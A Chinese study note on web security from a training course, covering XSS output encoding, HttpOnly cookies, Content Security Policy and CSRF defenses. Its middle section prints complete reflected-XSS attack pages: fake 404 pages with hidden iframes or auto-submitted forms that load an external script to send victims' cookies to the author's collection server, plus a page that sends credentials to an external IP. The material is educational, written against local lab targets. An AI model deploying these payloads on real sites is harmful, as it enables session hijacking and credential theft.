Web开发的安全之旅学习(2) | 青训营笔记

81 阅读9分钟

这是我参与「第四届青训营 」笔记创作活动的第12天。

笔记小结: 此篇为“攻击篇”补充内容——“防御篇”。《Web开发的安全之旅》这节课老师从攻击、防御两个视角,简要介绍前端范畴内常见的安全问题,包括 XSS、CSRF、SQL 注入、DOS 等。鉴于以前写代码从未考虑过代码开发中的安全问题,所以收集材料补充完善本人在这方面的学习缺陷,笔记分两节,此篇为“防御篇”内容。

开发者视角——防御篇

XSS的防御

image.png XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图一是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体。 

我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了

反射型XSS的利用

我们现在发现一个网站存在反射型XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意链接,来盗取用户的Cookie并且发送给我们,然后我们再利用盗取的Cookie以用户的身份登录该用户的网站。

get型

当我们输入参数的请求类型的get类型的,即我们输入的参数是以URL参数的形式。如下图

该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=

那么,我们要怎么构造恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢?

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该链接页面会偷偷打开iframe框架,iframe会访问其中的链接,然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面!

<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 页面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
    </style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉,您要访问的页面不存在!
            </h3> 
        </div>
    </div>
</div>
</body>
</html>

而我们的XSS平台将得到用户的Cookie,然后我们就可以利用得到的Cookie以用户的身份访问该网站了。

注:我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性

post型

我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞

我们抓包查看

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该恶意链接的页面加载完后会执行js代码,完成表单的提交,表单的用户名参数是我们的恶意js代码。提交完该表单后,该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面。

我们这里写了一个404页面,404页面中隐藏了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name等于form表单的target,并且我们设置iframe框架为不可见。

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 页面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
    </style>
     <script type="text/javascript">
        function attack()
        {
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉,您要访问的页面不存在!
            </h3>
        </div>
    </div>
    <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
         <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
         <input type="hidden" name="password" value="1">
    </form>
    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>

当用户点击了我们构造的恶意链接,发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交。

而我们的XSS平台也收到了发送来的数据(这数据中没有Cookie的原因是这个网站我没设置Cookie,只是随便写的一个页面)。

利用JS将用户信息发送给后台

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script>
        $(function(){
            //我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
            user="admin";
            pass="root";
            url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
            var frame=$("<iframe>");
            frame.attr("src",url);
            frame.attr("style","display:none");
            $("#body").append(frame);      //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
        });
    </script>
</head>
<body id="body">
    <h3>hello,word!</h3>
</body>
</html>

当用户访问了该页面,我们后台就可以看到用户访问记录。

Content Security Policy( CSP)

CSP 简介

内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站是否可以包含某些来源内容,缓解广泛的内容注入漏洞,比如 XSS。 简单来说,就是我们能够规定,我们的网站只接受我们指定的请求资源。默认配置下不允许执行内联代码(

CSP 使用方式

CSP可以由两种方式指定: HTTP Header 和 HTML。

  • 通过定义在HTTP header 中使用:

    Content-Security-Policy:" 策略集

  • 通过定义在 HTML meta标签中使用:

    <meta http-equiv="content-security-policy" content="策略集">

策略是指定义 CSP 的语法内容。
如果 HTTP 头 与 meta 标签同时定义了 CSP,则会优先采用 HTTP 头的 。
定义后,凡是不符合 CSP策略的外部资源都会被阻止加载。

CSP 语法

策略

每一条策略都是指令与指令值组成:

Content-Security-Policy: 指令1 指令值1
策略与策略之间用分号隔开,例如:

Content-Security-Policy: 指令1 指令值1;指令2 指令值2;指令3 指令值3
在一条策略中,如果一个指令中有多个指令值,则指令值之间用空号隔开:

Content-Security-Policy: 指令a 指令值a1 指令值a2

CSP 指令

default-src : 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
script-src : 定义针对 JavaScript 的加载策略。
style-src : 定义针对样式的加载策略。
img-src : 定义针对图片的加载策略。
font-src : 定义针对字体的加载策略。
media-src : 定义针对多媒体的加载策略,例如:音频标签<audio>和视频标签<video>。
object-src : 定义针对插件的加载策略,例如:<object>、<embed>、<applet>。
child-src :定义针对框架的加载策略,例如: <frame>,<iframe>。
connect-src : 定义针对 Ajax/WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为400的响应。
sandbox : 定义针对 sandbox 的限制,相当于 <iframe>的sandbox属性。
report-uri : 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。
form-action : 定义针对提交的 form 到特定来源的加载策略。
referrer : 定义针对 referrer 的加载策略。
reflected-xss : 定义针对 XSS 过滤器使用策略。

CSP 指令值

image.png

CSP 例子

例子1
所有内容均来自网站的自己的域:
Content-Security-Policy:default-src ‘self‘
例子2
所有内容都来自网站自己的域,还有其他子域(假如网站的地址是:a.com):
Content-Security-Policy:default-src ‘self‘ *.a.com
例子3
网站接受任意域的图像,指定域(a.com)的音频、视频和多个指定域(a.com、b.com)的脚本
Content-Security-Policy:default-src ‘self‘;img-src *;media-src a.com;script-src a.com b.com

CSRF的防御

对于如何防范 CSRF,一般有三种手段。

判断请求头中的 Referer

这个字段记录的是请求的来源。比如 www.example.com 上调用了百度的接口 api.map.baidu.com/service 那么在百度的服务端,就可以通过 Referer 判断这个请求是来自哪里。

在实际应用中,这些跟业务逻辑无关的操作往往会放在拦截器中(或者说过滤器,不同技术使用的名词可能不同)。意思是说,在进入到业务逻辑之前,就应该要根据 Referer 的值来决定这个请求能不能处理。

在 Java Servlet 中可以用 Filter(古老的技术);用 Spring 的话可以建拦截器;在 Express 中是叫中间件,通过 request.get(‘referer’) 来取得这个值。每种技术它走的流程其实都一样。

但要注意的是,Referer 是浏览器设置的,在浏览器兼容性大不相同的时代中,如果存在某种浏览器允许用户修改这个值,那么 CSRF 漏洞依然存在。

在请求参数中加入 csrf token

讨论 GET 和 POST 两种请求,对于 GET,其实也没什么需要防范的。为什么?因为 GET 在“约定”当中,被认为是查询操作,查询的意思就是,你查一次,查两次,无数次,结果都不会改变(用户得到的数据可能会变),这不会对数据库造成任何影响,所以不需要加其他额外的参数。

尽量遵从这些约定,不要在 GET 请求中出现 /delete, /update, /edit 这种单词。把“写”操作放到 POST 中。

对于 POST,服务端在创建表单的时候可以加一个隐藏字段,也是通过某种加密算法得到的。在处理请求时,验证这个字段是否合法,如果合法就继续处理,否则就认为是恶意操作。

这个 html 片段由服务端生成,比如 JSP,PHP 等,对于 Node.js 的话可以是 Jade 。

这的确是一个很好的防范措施,再增加一些处理的话,还能防止表单重复提交。

可是对于一些新兴网站,很多都采用了“单页”的设计,或者退一步,无论是不是单页,它的 HTML 可能是由 JavaScript 拼接而成,并且表单也都是异步提交。所以这个办法有它的应用场景,也有局限性。

新增 HTTP Header

思想是,将 token 放在请求头中,服务端可以像获取 Referer 一样获取这个请求头,不同的是,这个 token 是由服务端生成的,所以攻击者他没办法猜。